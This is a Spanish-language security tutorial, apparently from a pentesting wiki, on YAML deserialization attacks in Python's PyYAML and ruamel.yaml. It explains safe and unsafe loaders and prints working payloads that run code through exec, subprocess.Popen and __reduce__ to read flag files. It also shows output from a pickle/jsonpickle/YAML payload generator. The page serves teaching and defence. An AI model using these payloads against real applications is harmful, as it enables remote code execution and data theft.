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# Deserialización de Yaml Las librerías de python de **Yaml** también son capaces de **serializar objetos de python** y no solo datos en bruto: ``` print(yaml.dump(str("lol"))) lol ... print(yaml.dump(tuple("lol"))) !!python/tuple - l - o - l print(yaml.dump(range(1,10))) !!python/object/apply:builtins.range - 1 - 10 - 1 ``` Comprueba cómo la **tupla** no es un tipo de dato en bruto y, por lo tanto, fue **serializada**. Y lo mismo sucedió con el **rango** (tomado de los builtins). ![](<../../.gitbook/assets/image (628) (1).png>) **safe\_load()** o **safe\_load\_all()** utilizan SafeLoader y **no admiten la deserialización de objetos de clase**. Ejemplo de deserialización de objetos de clase: ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader data = b'!!python/object/apply:builtins.range [1, 10, 1]' print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10) print(yaml.load(data, Loader=Loader)) #range(1, 10) print(yaml.load_all(data)) # print(yaml.load_all(data, Loader=Loader)) # print(yaml.load_all(data, Loader=UnsafeLoader)) # print(yaml.load_all(data, Loader=FullLoader)) # print(yaml.unsafe_load(data)) #range(1, 10) print(yaml.full_load_all(data)) # print(yaml.unsafe_load_all(data)) # #The other ways to load data will through an error as they won't even attempt to #deserialize the python object ``` El código anterior utilizó **unsafe\_load** para cargar la clase python serializada. Esto se debe a que en **la versión >= 5.1**, no permite **deserializar ninguna clase python serializada o atributo de clase**, con Loader no especificado en load() o Loader=SafeLoader. ## Exploit Básico Ejemplo de cómo **ejecutar un sleep**: ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader data = b'!!python/object/apply:time.sleep [2]' print(yaml.load(data, Loader=UnsafeLoader)) #Executed print(yaml.load(data, Loader=Loader)) #Executed print(yaml.load_all(data)) print(yaml.load_all(data, Loader=Loader)) print(yaml.load_all(data, Loader=UnsafeLoader)) print(yaml.load_all(data, Loader=FullLoader)) print(yaml.unsafe_load(data)) #Executed print(yaml.full_load_all(data)) print(yaml.unsafe_load_all(data)) ``` ## Vulnerabilidad .load("\") sin Loader Las versiones **antiguas** de pyyaml eran vulnerables a ataques de deserialización si **no se especificaba el Loader** al cargar algo: `yaml.load(data)` Puede encontrar la [**descripción de la vulnerabilidad aquí**](https://hackmd.io/@defund/HJZajCVlP)**.** El **exploit** propuesto en esa página es: ```yaml !!python/object/new:str state: !!python/tuple - 'print(getattr(open("flag\x2etxt"), "read")())' - !!python/object/new:Warning state: update: !!python/name:exec ``` O también puedes usar este **one-liner proporcionado por @ishaack**: ```yaml !!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]} ``` Ten en cuenta que en **versiones recientes** ya no puedes **llamar a `.load()`** **sin un `Loader`** y el **`FullLoader`** ya no es vulnerable a este ataque. # RCE Ten en cuenta que la creación de carga útil se puede hacer con **cualquier módulo YAML de Python (PyYAML o ruamel.yaml), de la misma manera**. La misma carga útil puede explotar tanto el módulo YAML como cualquier módulo basado en PyYAML o ruamel.yaml. ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader import subprocess class Payload(object): def __reduce__(self): return (subprocess.Popen,('ls',)) deserialized_data = yaml.dump(Payload()) # serializing data print(deserialized_data) #!!python/object/apply:subprocess.Popen #- ls print(yaml.load(deserialized_data, Loader=UnsafeLoader)) print(yaml.load(deserialized_data, Loader=Loader)) print(yaml.unsafe_load(deserialized_data)) ``` ## Herramienta para crear Payloads La herramienta [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) se puede utilizar para generar payloads de deserialización de Python para abusar de **Pickle, PyYAML, jsonpickle y ruamel.yaml:** ```bash python3 peas.py Enter RCE command :cat /root/flag.txt Enter operating system of target [linux/windows] . Default is linux :linux Want to base64 encode payload ? [N/y] : Enter File location and name to save :/tmp/example Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All Done Saving file !!!! cat /tmp/example_jspick {"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]} cat /tmp/example_pick | base64 -w0 gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg== cat /tmp/example_yaml !!python/object/apply:subprocess.Popen - !!python/tuple - cat - /root/flag.txt ``` # Referencias Para obtener información más detallada sobre esta técnica, lee: [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
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